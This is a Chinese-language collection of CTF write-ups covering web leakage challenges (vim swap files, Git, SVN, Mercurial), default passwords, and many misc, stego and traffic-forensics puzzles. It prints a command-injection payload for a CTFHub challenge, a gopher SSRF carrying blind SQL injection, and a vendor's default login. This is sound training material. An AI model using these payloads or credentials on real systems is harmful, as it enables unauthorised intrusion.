1.当vim在编辑文档的过程中如果异常退出,则会产生缓存文件。第一次产生的缓存文件后缀为.swp,第二次则产生的缓存文件后缀为.swo,第三次产生的缓存文件后缀为.swn。
2.使用命令vim -r 可以查看当前目录下的所有swp文件。
3.使用命令vim -r filename可以恢复文件,这样上次意外退出并且没有保存的修改,就可以覆盖文件。
4.调用这类的隐藏文件的时候,需要在最前面加.(如删除index.php.swp,则需要rm -fr* .index.php.swp).
5.vim使用的缓存存储是一种固定的二进制文件,我们可以通过curl命令,或者vim命令进行查看。
访问.index.php.swp
,得到缓存文件,在linux中cat查看就能得到flag
ctfhub{3f74df4bc6d20b7acea2c1ec}
Git泄露-Log
使用GitHack工具下载.git
文件
1 | python2 GitHack.py http://challenge-eb02ac897a8ff3e2.sandbox.ctfhub.com:10800/.git |
在生成的目录下使用git log
命令获取日志
使用git diff
查看提交比对可以得到flag
或者使用git reset --hard 708f5a182dc058cd0af233e2d6758f10644622a3
回退到add flag
版本,多了一个文档,打开就可以得到flag
ctfhub{e35a6a61ed75f63fd03f4577}
Git泄露-Stash
与上题类似,使用GitHack下载源码,然后用git log
查看日志
但是此次直接用git diff
查看无新增文件
用git reset
回退版本生成了文档,但是也没有flag
其实stash
是缓存的意思
1 | 将本地没提交的内容(git commit的内容不会被缓存 但git add的内容会被缓存)进行缓存并从当前分支移除,缓存的数据结构为堆栈,先进后出 |
使用git stash list
查看缓存记录
使用git stash pop
可以弹出最新 stash 的内容,并删除该 stash
1 | 如果想要指定弹出某个 stash,可以使用: |
使用git stash apply
也会将最新的改动还原到代码中,默认返回 stash{0},与pop不同的是apply 不会删除 stash{0}
这里使用二者都可以,发现文档内容发生改变,得到flag
ctfhub{69ac1262b1f2cfab32c09553}
Git泄露-Index
直接GitHack就能得到带flag的文档
ctfhub{2b8c264edd050a99208d58ad}
SVN泄露
1 | SVN是subversion的缩写,是一个开放源代码的版本控制系统 |
下载dvcs-ripper
工具
1 | git clone https://github.com/kost/dvcs-ripper |
安装相关组件
1 | sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl |
使用工具进行处理
1 | ./rip-svn.pl -v -u http://challenge-350f55b7f4229231.sandbox.ctfhub.com:10800/.svn/ |
进入.svn/pristine
目录,查看文件,发现有两个文件夹
其中bb
文件夹中有一个文档,记录了flag
另一个bf
文件夹记录了当前html内容
ctfhub{3503d217e9a14b5d95df7855}
HG泄露
1 | 当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞 |
使用dvcs-ripper
里的rip-hg.pl
工具
1 | ./rip-hg.pl -v -u http://challenge-b5f8d3ea776f7b25.sandbox.ctfhub.com:10800/.hg |
得到.hg
隐藏文件夹
进入.hs/store
目录,查看fncache文件
访问/flag_14633778.txt
,得到flag
ctfhub{cd9a58d44428b89a86c3b54e}
弱口令
《论字典的选择》
ctfhub{300f7c6b0200acc7395561f8}
默认口令
增加了验证码,提高了爆破门槛
不过百度搜一下就能搜到eyou
的默认密码
1 | 账号:eyougw 密码:admin@(eyou) |
登录后就能得到flag
ctfhub{d522ac8ac36a7648028f93f5}
联通网络安全
WEB-RRRCE
1 | ?host=123%26a=f%26%26b=g%26%26c=la%26%26d=%60expr$%7BIFS%7Dsubstr$%7BIFS%7D%22$APACHE_CONFDIR%22$%7BIFS%7D1$%7BIFS%7D1%60%26%26ca%22%22t${IFS}$d$a$c$b |
WEB-SearchBar
MISC
工具
1 | 数据隐写:010Editor、Stegsolve |
010Editor:一款快速且强大的十六进制编辑器。用来编辑二进制文件
StegOnline:图片隐写工具 StegSolve 的 Web 版
1 | 流量取证:tcpxtract |
攻防世界
删库跑路-/XSCTF联合招新赛(1)
binwalk
1 | binwalk -e vm-106-disk-1.qcow2 |
得到文件,flag在压缩包8091000
中
winhex
用winhex
打开文件,使用Tools-Disk Tools-File Recovery by Type
全选,恢复,flag在000001.gz
中
flag{c28c424b-fd8c-45b9-b406-0a933b1ca7b1}
凯撒大帝在培根里藏了什么/XSCTF联合招新赛(1)
有一串字符串
1 | ABBABAABBAAAAABABABAABABBAAAAABAABBAAABAABBBABBAABABBABABAAABABBBAABAABABABBBAABBABAA |
这是培根密码,解密得到
1 | ngbklatcoznixevzu |
那这就是凯撒密码了,但是不知道具体的偏移量,最后试出来偏移量为6
1 | havefunwithcrypto |
而flag提示是
1 | 格式为flag{你所得到的大写字符串} |
flag{HAVEFUNWITHCRYPTO}
简单的base编码/XSCTF联合招新赛(1)
这题是BASE64
编解码,而且要一直解码
解码二十次,得到
1 | F#S<YRa[$*x7,>{F3DH5N/3.5+J6WD%P841JRN_i51F1Z! |
这是base92编码,解码得到flag
flag{d0_y0u_l1ke_base92_!??!_by_Sh3n}
来自银河的信号/江苏工匠杯(1)
浅听了一下,差点给我弄聋了
这是用SSTV来传输信息
1 | sstv一般指慢扫描电视。 慢扫描电视(Slow-scan television)是业余无线电爱好者的一种主要图片传输方法,慢扫描电视通过无线电传输和接收单色或彩色静态图片。 |
用MMSSTV,外放音频或者用虚拟声卡VSC作为输入设备,等它放完,就能得到图片
1 | f7liavga{1M_0105n_cC@okmei_nFge!s} |
这个还要经过栅栏密码()加密后得到flag,栏数为2
1 | 栅栏密码:把将要传递的信息中的字母交替排成上下两行,再将下面一行字母排在上面一行的后边,从而形成一段密码 |
flag{M00nc@ke_Fes7iva1_15_Coming!}
steg没有py/江苏工匠杯(1)
这里用的是stegpy
,我还以为是stegsolve
1 | stegsolve是工具,stegpy是隐写方式 |
而且这里还需要密码来解密,此处没有提示,但是原题有提示密码是16位,刚好是文件名Do_you_like_misc
1 | stegpy Do_you_like_misc.png -p |
解密得到文件_encrypt.txt
,内容为
1 | eyjd{4e71wf_H1uc3s_15_EEEEpwwl!!} |
1 | x=4,5 |
这是一个仿射密码Affine Cipher
,a=25,b=9
1 | eyjd{4e71wf_H1uc3s_15_EEEEpwwl!!} |
这里还要根据密文字符大小写改一下格式,得到flag
flag{4f71ne_C1ph3r_15_FFFFunny!!}
*时间刺客!/江苏工匠杯(1)
本题提示是时间不站在你那边,四张图片的修改时间分别是
1 | 1.jpg:1709年1月7日,0:43:49 |
把它们转换成时间戳,但是时间戳是从1970-01-01 08:00:00
开始的
1 | -8235846971 |
wp说跑下面这个就行,没看懂
1 | bytes([int(i) for i in __import__('re').findall(r'1[0-2][0-9]|[4-9][0-9]', ''.join([str(int((int(__import__('os').path.getmtime(filename) * (10 ** 9)) % (2 ** 64 - 1)) / (10 ** 9))) for filename in __import__('os').listdir('./')]))]).decode() |
flag{T1m3_f1ie5}
看雪看雪看雪/江苏工匠杯(1)
这里用到了NTFS流来隐藏文件,将压缩包用winrar
解压后
1 | NTFS文件系统中存在NTFS数据流文件也被称为 Alternate data streams(ADS), 是NTFS磁盘格式的一个特性之一 |
用NtfsStreamsEditor2工具进行扫描,就可以看到隐藏的文件,导出后
1 | 1.ord:同淋雪 |
这里用到了snow隐写
1 | -C:如果隐藏,则压缩数据,或者如果提取,则会解压缩。 |
1 | snow.exe -C -p "他朝若是同淋雪" outfile |
就能得到flag
1 | 此生也算共白头flag{Sn0w_M@n!!!!!!!} |
流量分析2/CTF(1)
导入流量包,分析筛选
1 | http && ip.src==39.105.136.196 |
发现每个包都传了一些字符,拼起来
1 | fl{17uaji1l} |
或者导出http,也能得到相同的结果
flag就是
flag{17uaji1l}
nice_bgm/CTF(1)
压缩包里还要一个.DS_Store
文件,以为是代码泄露,原来没啥用
音乐文件的备注里有以下信息
1 | 163 key(Don't modify):L64FU3W4YxX3ZFTmbZ+8/ZZ9Y/tgOmNcoJ5dtFf1KVqxwH/xPBSYX/RBw/iqmLiJzzxwYmFqoKqDihfI1Oc2/J/epKAHJUDYbGiTmY5mE6o/liOSritI10J0pq+CjaamnQOVUqOOwqsbN8Wc0EzN1an5Qsju02G8NLehmTgmOQzq8NG+XfMYT438I1nk1m9dTous+vB2MuGROm4ncI5O14DuzsjhinroVxILf0ryZWPcn6odYY/Ixcfw/iyIXHKgAFisF+xpACuZlDSqBUECNeGFvO58cSLJgwoCwfe9aGEgjCNlm0tTq8F0bsiUON9ZNlbmnNgqznuWizs02TXarMxROmeS1ZKlh7BxYBOjIJFw7HyQG2xtGDIgpbnmrbRaZfwmZ979WQTqJRbAdpZzXR9VLbAhpvKKIo1mC4wdOgX3XN5yjbXRVLJjoeR1z3o7VaijzqYt7DdxGuZyDfv1Jn3URw9DKSbL0bP7LK9mH7UyQPNzQeyCVEvdutWWTsSqH7SMT5c5RERCPzSnCUBd8V/aCmcrwSo1zG4DYGu4x8m2Xe5UVrjqgjFRELn9RPjNPPntCAOZw2YaRl3mvbOXlg== |
并不能用base64解码
题目提示了:我拿出自己的私密音乐来和你分享,一起享受快乐吧
所以这其实是MP3 private_bit隐写
在010Editor
打开文件并安装插件后,可以发现在MPEG_FRAME mf[]
存在private_bit
起始字节是399D0h,即235984
总共有12+1+2+1+4+2+1+1+2+2+1+1+2=32,即4字节,private_bit
在24,第三字节
所以要从前一个字节开始提取内容,对应的地址是235986
数字长度是1A1h或1A2h,需要筛选一下
坑爹的是它到了某一位之后private_bit
就是0了,找个尽量靠后的位置,例如mf[500],6CA22h=444962
1 | 1A1h:[0, 1, 26, 50, 75, 99, 124, 148, 173, 197, 222, 246, 271, 295, 320, 344, 369, 393, 418, 442, 467, 491] |
读取每个private_bit
所在字节的最后一位,然后每8位成ascii码转字符
1 | n=235986 #第一个private bit起始位置 |
得到flag
flag{0k4_YOu_Seem_s0_cl3ver_t0_find_f1ag!}
fakezip/宜兴网信办(1)
压缩包直接解压需要密码
题名提示了是fakezip
,可能是伪加密的压缩包
把50 4B 03 04
和50 4B 01 02
后面的01 00
改成00 00
后,再解压就不需要密码了
或者用ZipCenOp.jar跑一下,也能直接解压
flag在压缩包的图片中
flag{39281de6-fe64-11ea-adc1-0242ac120002}
Check/CTF(1)
本题目使用LSB隐写方式将flag的HTML编码形式嵌入了PNG图片中。
可以使用StegSolve
提取出RGB三个通道的最低位信息
而顶部是一串HTML编码
1 | flag{h0w_4bouT_enc0de_4nd_pnG} |
将该编码通过HTML解码后,得到flag
1 | import html |
flag{h0w_4bouT_enc0de_4nd_pnG}
Wire1/CTF(1)
分析以下这个包,大概意思是某个人在盲注获得flag的值
每个字符判断,当恰好正确的时候,下一个HTTP包的长度就会变成978,且这个人会继续测试下一个字符
最后得到所有字符的十进制是
1 | 102 108 97 103 123 119 49 114 101 115 104 65 82 75 95 101 122 95 49 115 110 116 105 116 125 |
转ascii得到flag
flag{w1reshARK_ez_1sntit}
Encode/CTF(1)
这一题有点抽象
密文是
1 | 4O595954494Q32515046324757595N534R52415653334357474R4N575955544R4O5N4Q46434S4O59474253464Q5N444R4Q51334557524O5N4S424944473542554O595N44534O324R49565746515532464O49345649564O464R4R494543504N35 |
rot13解密(这种里面数字加上OQRN的是Rot13加密)
这里不要用hiencode的rot13,因为它会自动转小写,然后后面的base16就无法解码
1 | 4B595954494D32515046324757595A534E52415653334357474E4A575955544E4B5A4D46434F4B59474253464D5A444E4D51334557524B5A4F424944473542554B595A44534B324E49565746515532464B49345649564B464E4E494543504A35 |
1 | KYYTIM2QPF2GWYZSNRAVS3CWGNJWYUTNKZMFCOKYGBSFMZDNMQ3EWRKZOBIDG5BUKYZDSK2NIVWFQU2FKI4VIVKFNNIECPJ5 |
然后base32解密
1 | V143Pytkc2lAYlV3SlRmVXQ9X0dVdmd6KEYpP3t4V29+MElXSER9TUEkPA== |
然后base64解密
1 | W^7?+dsi@bUwJTfUt=_GUvgz(F)?{xWo~0IWHD}MA$< |
然后base85解密,这里所有在线的都不行
可以用CyberChef,ROT13-HEX-Base32-Base64-Base85/IPv6
得到flag
flag{W0w_y0u_c4n_rea11y_enc0d1ng!}
1-misc/青岛华能(1)
附件是一个加密的压缩包
提示是偷偷告诉你,密码是出题人生日
那就爆破咯
用ARCHPR爆破,最开始以为只有月日,没想到还有年
得到口令20001228,解压后又是一个加密的压缩包和一张图片(flag不在这)
说明这张图片肯定有问题
这张图片和压缩包内的CRC(循环冗余检验)的值是一样的,可以使用ARCHPR的明文攻击
将图片压缩后导入明文文件路径
然后开始攻击
这里可能会报错
原因多半是已知文件再进行的压缩方式与待解密文件的压缩方式不同,使用winRAR
可以进行调整压缩方式
,也就是说需要用winrar压缩而不能用windows自带的压缩
等待亿会儿后就能获得结果了,得到解压后的文件
里面还有一个加密的压缩包,里面就是flag,提示是没有密码,真的没有密码!!
可能是伪加密,用ZipCenOp
跑一下,得到flag
flag{159c6275f0015c037e70a118f25b9a99}
碎纸机11/CTF(1)
附件压缩包解压后有50张图片,根据题目描述我们从碎纸机里抢救回来了某个关键图片资料,你能帮我们修复它吗?
,需要将50张图片拼起来。
在拼图网站,设置参数后
按时间升序顺序导入图片
解码就能得到flag
flag{You Can Repair A Picture From Splices Baesd On Entropy}
Let_god_knows/CTF(1)
stegsolve
打开图片,没有隐写
看了大佬的WP,Red plane 0下有一个二维码??
解码得到flag
flag{Ok@y!G0d_know5_n0w}
misc2-1/CTF(1)
附件里是一张图片,但是打不开,不支持这种格式
大佬的WP说根据这里可以看出来图片是逆序的??
1 | ebo tohP ohso SC p |
1 | f1=open("task_flag.jpg","rb").read() |
1 | b = a[i:j] 表示复制a[i]到a[j-1],以生成新的list对象 |
flag在1.jpg
中
flag{F098996689560BBB1B566EBC10D5E564}
pcap1/CTF(1)
导出HTTP对象,发现一个没有URL的,包序号是60
筛选tcp contains "flag"
,追踪TCP流
将下面的密文字符串rot13-base64-carsar
后就能得到明文
值得注意的是,解密的时候需要根据密文的第一个数字来判断使用何种方式解密
1 | def decode(pt, cnt=61): |
flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}
running/CTF(1)
查看属性,是自解压格式
解压后得到
文档里面是error
,执行可执行文件,得到tif
文件,用ps打开
把矩形隐藏,得到一串代码
010Editor打开,在文件末尾可以看到
1 | run->njCp1HJBPLVTxcMhUHDPwE7mPW |
1 | s="njCp1HJBPLVTxcMhUHDPwE7mPW" |
1 | mkBq0IICOMUUwdLiTICQvF6nOX |
得到flag
flag{mkBq0IICOMUUwdLiTICQvF6nOX}
流量分析1/GA(1)
http包
1 | http://39.105.136.196:30025/index.php?url=gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2Fx-www-form-urlencoded%250d%250aContent-Length%3A%2078%250d%250a%250d%250aid%253D1%2529%2520and%2520if%2528%2528ascii%2528substr%2528%2528select%2520flag%2520from%2520flag%2529%252C1%252C1%2529%2529%253D%252740%2527%2529%252Csleep%25283%2529%252C0%2529%2520--%2520 |
sql注入
,只需要将所有正确的字符拼起来就行
用http.time >= 3
进行筛选
可以在导出HTTP的选项中筛选
1 | flag%2529%252C 1 %252C1%2529%2529%253D%2527(去空格) |
1 | 102 108 97 103 123 49 113 119 121 50 55 56 49 125 |
转ascii
得到flag
flag{1qwy2781}
津门杯2021-m1/津门杯(1)
stegsolve
打开图片后提取文件信息,可以看到有base64密文
1 | ZmxhZ3tsNURHcUYxcFB6T2IyTFU5MTlMTWFCWVM1QjFHMDFGRH0= |
解密得到flag
flag{l5DGqF1pPzOb2LU919LMaBYS5B1G01FD}
m0_01/太湖杯(1)
这是USB
1 | 4字节为鼠标流量,8字节为键盘流量。 |
导出该列后将第5、6位转16进制后根据转换成对应的键盘字符
1 | mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." } |
得到一串密文
1 | 884080810882108108821042084010421 |
只有01248,为云影加密,解密
1 | THISISFLAG |
得到flag
flag{THISISFLAG}
miss_01/太湖杯(1)
附件是一个加密的压缩包,没给密码提示,可能是伪加密
用zipCenop.jar
成功解密
这里也可以用winrar
进行压缩包修复,也可以成功解密
在解压后的文档文件里,有一串base64编码
因为题目提示miss
,所以这里可能会用到显示/隐藏编辑标记
希尔密码,解密得到
然后把上面的那一串用rabbit解密,密钥是love and peaceee
1 | U2FsdGVkX194m4B5HqBSGYPLTS4bywdKDJh13lrSj/OcwgSAoHBw9X/p2IdEtGx7EdJFR6rcjyPA+M+aKLZvqE7h7EBFA5LyHYk/5Cns4LV02vM7Dk+T70FlWOlJ3XeA9pJwFdAWzeN/0A74u+hLG/oLF1g3djo77yVTCBCs0r7khTOWahv0SYR33tHSq3YzJGTBS1Zsj2i/sGC8tTnNfsLl0SQ2JeTJhP/aNU2LmPVTyc3y4kTx+ysw8vasHwenWoBXFtOe2WkorJOCrqdQ8Qqd78TzZ0jRMv6MJO2ytUy/3mebHU9LAlWKFluNEh5t/cUVvtigLS6PquYRX5ziEx52HDkW+WgfRnum/AregLJ4c4f6AvG2gBjHVKO6sGEiuh59jcyN1SvsQEvXd7cOD/KWZjE5gqVGUJqXyhauqWPVYUlcuHH6abtQwNuDb+jZxMg5QaDzwPhpGRly7NhKU5OgCdhdK17TX7z2/RuNYj6pyfRYNZmQdOFl9B28+lawKO8l5b18WF5JV6chou7riwwDLqQrKMDjUUKZUtdMn0ReDQbR8reeqw/u+Lkyhl6w+222QWgQ2yRd2dhHb1kqNncUInAEqTPNKRBnia8F/+FycBv+KAwCFPwx9oNTFBYN4EJL/RjiXEkkSCnyH48VynuuOeX2uNlAti214mCbWWH+pxLn4PHIWf3JK819kiDcjqyQ5y3v+EUEr9Sb1WVwiITDW5XtzVP+Yr/IJ0ikl41zMu9BAQPermoa8hZJdE8mb3oSet+pAM7PtnyI7FGJ5Ynkpq05AiJMrN+UgV0E/ELc0UhWw3O0c4u+eYtQkzu/9+UCRy1Fi+QWFlO3cuWBA4GMGTE1FHWnqnZ683FwrM5bcb6TTu3/Q5sppFmqNrOX+ctx5b5xiYeSZ8XFI2ks6L7aFrQYu833GiERnIiZEX8vFqjdnD+tcuQ6Zg9Z7oxhATDP9H5d1e9IaxwOA/fDP0qvdKJ+OS5OPljnboywCPp7QqFHZfyC7d2GIraadSOL+eIwfavCqgfGwpWMW5H359IKZASi/HexzEcYrA7OZ8GzSxO9Lmk/ea4BD4JD2lawEIiDE7yhJApimzJ4IG8EMXFn/rOM3O2PkuSTKFsXu7/XZ3ozAJsPun5RJcMuUFXQX++DqXqe6Kbo/hEKwHETq0VbL6qEKkQKf5ce3i6tuZG8OqqPsye0Ku5D2LREqqGGysshULZWmvlx4u2FUtj4Xg== |
解密后得到
1 | LR2TMNLCGBOHKNDGGVRFY5JWGZTDAXDVMZTDCYK4OU4GCZRYLR2TSNTCHBOHKNJUMM4VY5JVGBSTOXDVHE3DIZC4OU2TIM3ELR2TQYLGHBOHKOJWGQYFY5JWGQ3DSXDVHE3GEOC4OU2TAZJXLR2TOZRTMROHKOBVME4VY5JVGRQTIXDVHAYDEOC4OU4GCZRYLR2TSNTCHBOHKNRRGY3VY5JVHA2WKXDVHAZDOMS4OU2WGMDBLR2TKNDDHFOHKODGMU3FY5JYMFSTMXDVG5QTOYK4OU3DENBQLR2TSNRUMROHKNRSGEYVY5JVMZTDKXDVHE3GEOC4OU3TSNJXLR2TQYLFGZOHKNLGMY2VY5JVGRRTSXDVHE3DIMC4OU2TMYRULR2TKNDDHFOHKNJWMM4VY5JUMZSWKXDVGU4TGN24OU4TMM3GLR2TMY3FGJOHKOBSG4ZFY5JYGM4GCXDVGVRGGMS4OU4GCZJWLR2TKOBVMVOHKNJUHEZFY5JYGM4GCXDVG43TGZK4OU3DEMJRLR2TKNDDHFOHKNRSGQYFY5JUMYYGMXDVHAYDKZK4OU4DKYJZLR2TSNTCHBOHKNRRGBSFY5JZGVRWIXDVGU2DGNS4OU3DENBQLR2TIZTFMVOHKNRWGJTFY5JYGI3TEXDVGY2DMOK4OU4GCMZWLR2TKNTCGROHKNJUMM4VY5JZHA2TQXDVGYYTAZC4OU2TIYZZLR2TKMZXGNOHKNDGMVSVY5JVGRRTSXDVG5QTOYK4OU4DOMLDLR2TSNRUGBOHKNJWMM4VY5JUMYYGMXDVGVTGMNK4OU2TIYZZLR2TMNBWHFOHKNJUMM4VY5JUMVQTMXDVHAZTQYK4OU2TIYZZLR2TONZTMVOHKNJUME2FY5JVHE4DEXDVHE4DKOC4OU2TSOBS |
base32解密后得到
1 | \u65b0\u4f5b\u66f0\uff1a\u8af8\u96b8\u54c9\u50e7\u964d\u543d\u8af8\u9640\u6469\u96b8\u50e7\u7f3d\u85a9\u54a4\u8028\u8af8\u96b8\u6167\u585e\u8272\u5c0a\u54c9\u8fe6\u8ae6\u7a7a\u6240\u964d\u6211\u5ff5\u96b8\u7957\u8ae6\u5ff5\u54c9\u9640\u56b4\u54c9\u56c9\u4fee\u5937\u963f\u6ce2\u8272\u838a\u5bc2\u8ae6\u585e\u5492\u838a\u773e\u6211\u54c9\u6240\u4f0f\u805e\u85a9\u96b8\u610d\u95cd\u5436\u6240\u4fee\u662f\u8272\u6469\u8a36\u56b4\u54c9\u9858\u610d\u54c9\u5373\u4fee\u54c9\u7a7a\u871c\u9640\u56c9\u4f0f\u5ff5\u54c9\u6469\u54c9\u4ea6\u838a\u54c9\u773e\u54a4\u5982\u9858\u5982 |
unicode解码得到
1 | 新佛曰:諸隸哉僧降吽諸陀摩隸僧缽薩咤耨諸隸慧塞色尊哉迦諦空所降我念隸祗諦念哉陀嚴哉囉修夷阿波色莊寂諦塞咒莊眾我哉所伏聞薩隸愍闍吶所修是色摩訶嚴哉願愍哉即修哉空蜜陀囉伏念哉摩哉亦莊哉眾咤如願如 |
新约佛论禅解密得到
1 | Live beautifully, dream passionately, love completely. |
将解密结果作为密码解压压缩包,得到音频
在audacity
中打开音频并查看频谱图
得到flag
flag{m1sc_1s_funny2333}
Ditf/安恒9月赛(1)
附件是图片,stegsolve
没有发现隐写
用binwalk分出了压缩包,不过加密了
用zipCenOp.jar
没有发现伪加密
这里需要修改文件的宽高,用010Editor打开文件
把高改成1300,得到密码
1 | StRe1izia |
解压得到pcapng文件,wireshark打开
分组详情搜索png
并追踪HTTP流,得到一串Base64编码
1 | ZmxhZ3tPel80bmRfSGlyMF9sb3YzX0ZvcjN2ZXJ9 |
解码得到flag
flag{Oz_4nd_Hir0_lov3_For3ver}
a_good_idea/NJUPT-CTF(1)
stegsolve
没线索,binwalk
分解
得到文本文件和两张图片,文本文件中有提示
1 | try to find the secret of pixels |
这里可以用stegsolve
打开to_do.png
,然后image combiner
选择to.png
切换SUB通道后,得到二维码,扫码得到flag
NCTF{m1sc_1s_very_funny!!!}
Aesop_secret/ISCC(1)
分帧拼起来发现没啥用
可以用动态图片解析网站解析一下,不需要用ps拼
stegsolve--file format
,可以看到末尾有一串编码
1 | U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw== |
用AES解密(为什么不是rabbit),密钥为ISCC
1 | U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ== |
再解密一次,得到flag
1 | flag{DugUpADiamondADeepDarkMine} |
normal_png(1)
010Editor打开报error,图片可能被修改了宽高
长度调成1075
得到flag
flag{B8B68DD7007B1E406F3DF624440D31E0}
glance-50/CTF(1)
在动图解析网站导入gif,得到flag
TWCTF{Bliss by Charles O'Rear}
hit-the-core/CTF(1)
010Editor
打开后搜索{
1 | cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc{bnjrKwgk83kgd43j85ePgb_e_rwqr7fvbmHjklo3tews_hmkogooyf0vbnk0ii87Drfgh_n kiwutfb0ghk9ro987k5tfb_hjiouo087ptfcv} |
其中前部分
1 | cvqAeqacLtqazEigwiXobxrCrtuiTzahfFreqc |
可以看到其中包含大写字母ALEXCTF
,且字符间距为5
按此规律把所有的字符挑出来,得到flag
ALEXCTF{K33P_7H3_g00D_w0rk_up}
reverseMe/XCTF(1)
把附件图片翻转(reverse)一下就能得到flag
flag{4f7548f93c7bef1dc6a0542cf04e796e}
misc_pic_again(1)
stegsolve
打开后,Data extract
发现前几位恰好是压缩包的格式
save bin
保存16进制并命名为1.zip
解压后用010Editor
打开,根据题目描述:flag = hctf{[a-zA-Z0-9~]*}
搜索hctf
,得到flag
hctf{scxdc3tok3yb0ard4g41n~~~}
hong(1)
附件是一个音频文件,但是打开后提示不支持此类型,说明它应该不是一个mp3格式的文件
在kali中执行file hong.mp3
,发现它确实不是
用binwalk
分解,可以看到里面有两张图片
使用dd工具分离
1 | dd if=hong.mp3 of=1.jpg skip=82483 bs=1 |
在2.jpg上可以得到flag
BCTF{cute&fat_cats_does_not_like_drinking}
Test-flag-please-ignore/CTF(1)
附件里包含一串字符
1 | 666c61677b68656c6c6f5f776f726c647d |
这是16进制,转字符得到flag
flag{hello_world}
János-the-Ripper/CTF(1)
010Editor
打开发现是压缩包
改后缀后发现加密了,用zipcenop.jar
发现是真加密
爆破试一下,得到口令
解压得到flag
flag{ev3n::y0u::bru7us?!}
Erik-Baleog-and-Olaf/CTF(1)
010Editor
打开发现是png
格式
改后缀后用stegsolve
打开
在blue plane 1
发现一个二维码
但是直接扫不出来,得ps一下(~~臣妾做不到啊~~~),然后扫描得到flag
1 | flag{#justdiffit} |
can_has_stdio?/CTF(1)
打开附件发现长这样
这是BrainFuck编码,解码后得到flag
flag{esolangs_for_fun_and_profit}
Training-Stegano-1(1)
打开查看,发现有个passwd
我以为是,没想到flag就是flag{steganoI}
steganoI
simple_transfer/XCTF(1)
可能数据包出问题了?wireshark协议分级和其它人的结果不一样
用binwalk可以看到里面有pdf文件
用dd工具分离一下
1 | dd if=f9809647382a42e5bfb64d7d447b4099.pcap of=1.pdf skip=339380 bs=1 |
打开得到flag
HITB{b3d0e380e9c39352c667307d010775ca}
2017_Dating_in_Singapore/XCTF(1)
附件里是一个日历
题目描述:
1 | 01081522291516170310172431-050607132027262728-0102030209162330-02091623020310090910172423-02010814222930-0605041118252627-0203040310172431-0102030108152229151617-04050604111825181920-0108152229303124171003-261912052028211407-04051213192625 |
这个描述可以分成十二行
1 | 01081522291516170310172431 |
且每两位都不超过31,按照顺序连一下
得到flag
HITB{CTFFUN}
pure_color/CTF(1)
stegsolve
打开,在Gray bits
可以得到flag
flag{true_steganographers_doesnt_need_any_tools}
心仪的公司/世安杯(1)
wireshark
打开,http contains "shell"
筛选,追踪http流
key、flag、shell、pass
得到flag
fl4g:{ftop_Is_Waiting_4_y}
适合作为桌面/世安杯(1)
stegsolve发现一个二维码
扫描得到下列
1 | 053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000 |
这是十六进制
保存后发现有py
和pyt
的字眼,可能是反编译
把它保存成pyc
文件,用uncompyle
反编译
1 | uncompyle6 1.pyc >1.py |
得到python文件
1 | def flag(): |
执行得到flag
flag{38a57032085441e7}
Banmabanma/世安杯(1)
这看着像条形码,扫描得到(也可以在手机上扫)
1 | FLAG IS TENSHINE |
flag{TENSHINE}
真是阳间题/XSCTF联合招新赛(2)
1 | 3207357975641587136122466514425152961654613410728337142271750273124995105747053991640817066352343657398947248938255086358418100814441196784643527787764297 |
1 | 3D3D3D3D513642475354334F4859464D37435A415450424F4454344348324D4E37434E36565A414F5A3358474859344B374B354144474E504553554355495A49 |
转ascii
1 | ====Q6BGST3OHYFM7CZATPBODT4CH2MN7CN6VZAOZ3XGHY4K7K5ADGNPESUCUIZI |
反转
1 | IZIUCUSEPNGDA5K7K4YHGX3ZOAZV6NC7NM2HC4TDOBPTAZC7MFYHO3TSGB6Q==== |
base32
1 | FQARD{L0u_W0s_yp3_4_k4qrcp_0d_apwnr0} |
凯撒
1 | HSCTF{N0w_Y0u_ar3_4_m4ster_0f_crypt0} |
Simple-Math/XSCTF联合招新赛(2)
矩阵计算器求得[xi]为
1 | 模2 |
XSCTF{103c8041593b4b8e38971db283a7a773b0ffc2ee}
BotW-/XSCTF联合招新赛(2)
binwalk拆解,可以看到有两张图片
1 | dd if=BotW.png of=bb.jpg skip=7236 bs=1 |
题目提示MASTER USING IT AND YOU CAN HAVE THIS.
搜一下发现是塞尔达中的希卡文
1 | YOU GET THE FLAG! FLAG IS CANZELDAGETDUPLEXBOW |
flag要求:全小写,格式为flag{[a-z]*}
flag{canzeldagetduplexbow}
misc1/DDCTF(2)
题目描述
